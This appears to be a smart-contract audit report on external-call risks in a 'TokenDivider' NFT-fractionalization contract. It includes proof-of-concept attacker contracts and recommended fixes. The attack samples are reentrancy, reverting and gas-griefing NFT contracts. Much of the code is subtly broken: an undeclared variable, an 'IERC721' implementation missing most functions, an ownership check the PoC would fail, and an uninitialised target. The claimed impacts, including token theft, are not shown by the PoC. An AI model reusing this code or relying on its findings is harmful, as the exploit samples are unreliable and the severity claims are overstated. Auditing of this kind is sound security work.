Summary
The TokenDivider
contract makes multiple sequential external calls to untrusted contracts during the NFT fractionalization process. These calls include interactions with user-provided NFT contracts and newly created ERC20 contracts, without proper validation or failure handling mechanisms. This creates potential attack vectors through malicious contract implementations.
Impact
The multiple uncontrolled external calls could result in:
Contract state manipulation through malicious callbacks
DoS attacks through reverting external calls
Token theft through manipulated transfer mechanics
System state inconsistencies due to partial execution
Gas griefing attacks through expensive external operations
Tools Used
Foundry
Detailed Proof of Concept
Vulnerable Implementation
function divideNft(address nftAddress, uint256 tokenId, uint256 amount)
onlyNftOwner(nftAddress, tokenId)
external {
string memory nftName = ERC721(nftAddress).name();
string memory nftSymbol = ERC721(nftAddress).symbol();
ERC20ToGenerateNftFraccion erc20Contract = new ERC20ToGenerateNftFraccion(
string(abi.encodePacked(nftName, "Fraccion")),
string(abi.encodePacked("F", nftSymbol))
);
erc20Contract.mint(address(this), amount);
IERC721(nftAddress).safeTransferFrom(
msg.sender,
address(this),
tokenId
);
IERC20(erc20).transfer(msg.sender, amount);
}
Malicious NFT Implementation
contract MaliciousNFT is IERC721 {
uint256 public callCount;
function name() external returns (string memory) {
if (callCount == 0) return "Normal";
revert("DoS Attack");
}
function symbol() external returns (string memory) {
callCount++;
return "EVIL";
}
function safeTransferFrom(address from, address to, uint256 tokenId) external {
if (callCount > 1) revert("Selective failure");
}
function ownerOf(uint256) external pure returns (address) {
return address(this);
}
}
Attack Simulation
DoS Attack Through Reverting Calls
contract DoSAttacker {
TokenDivider target;
MaliciousNFT malNFT;
function setupAttack() external {
malNFT = new MaliciousNFT();
target.divideNft(address(malNFT), 1, 1000);
}
}
Gas Griefing Attack
contract GasGriefingNFT is IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId) external {
for(uint i = 0; i < 1000; i++) {
keccak256(abi.encode(i));
}
}
}
State Manipulation Attack
contract StateManipulatorNFT is IERC721 {
TokenDivider target;
function safeTransferFrom(address from, address to, uint256 tokenId) external {
target.divideNft(address(this), tokenId, 1000);
}
}
Recommendations
1. Implement Safe External Call Pattern
contract TokenDivider {
using SafeERC20 for IERC20;
function _safeNFTQuery(
address nftAddress
) private view returns (string memory name, string memory symbol) {
try ERC721(nftAddress).name() returns (string memory _name) {
name = _name;
} catch {
name = "Unknown";
}
try ERC721(nftAddress).symbol() returns (string memory _symbol) {
symbol = _symbol;
} catch {
symbol = "UNK";
}
}
}
2. Implement Circuit Breaker Pattern
contract TokenDivider is Pausable {
uint256 private constant MAX_FAILED_CALLS = 3;
mapping(address => uint256) private failedCalls;
function _recordFailedCall(address contract_) private {
failedCalls[contract_]++;
if(failedCalls[contract_] >= MAX_FAILED_CALLS) {
_pause();
emit ContractPaused(contract_);
}
}
}
3. Updated Main Function with Protections
function divideNft(
address nftAddress,
uint256 tokenId,
uint256 amount
) external nonReentrant whenNotPaused {
address initialOwner = msg.sender;
_validateNFTContract(nftAddress);
(string memory nftName, string memory nftSymbol) = _safeNFTQuery(nftAddress);
ERC20ToGenerateNftFraccion erc20Contract = _createERC20SafelyWithValidation(
nftName,
nftSymbol
);
_updateStateForDivision(nftAddress, tokenId, address(erc20Contract), amount);
try _executeTransfers(
nftAddress,
tokenId,
address(erc20Contract),
amount,
initialOwner
) {
emit NftDivided(nftAddress, amount, address(erc20Contract));
} catch {
_rollbackDivision(nftAddress, address(erc20Contract));
revert TokenDivider__TransferFailed();
}
}
4. Implement Transfer Protection
function _executeTransfers(
address nftAddress,
uint256 tokenId,
address erc20Address,
uint256 amount,
address recipient
) private {
uint256 gasLimit = 50000;
(bool success, ) = address(nftAddress).call{gas: gasLimit}(
abi.encodeWithSelector(
IERC721.safeTransferFrom.selector,
msg.sender,
address(this),
tokenId
)
);
require(success, "NFT transfer failed");
IERC20(erc20Address).safeTransfer(recipient, amount);
}
These improvements provide:
Protection against malicious contract implementations
Gas limit controls for external calls
Proper error handling and state rollback
Circuit breaker mechanism for repeated failures
Safe transfer implementations
Clear separation of concerns in external calls
Additional recommendations:
Implement contract whitelisting for known-good NFT contracts
Add gas estimation before external calls
Implement emergency shutdown mechanism
Add event logging for all external calls
Consider using proxy patterns for upgradeable contracts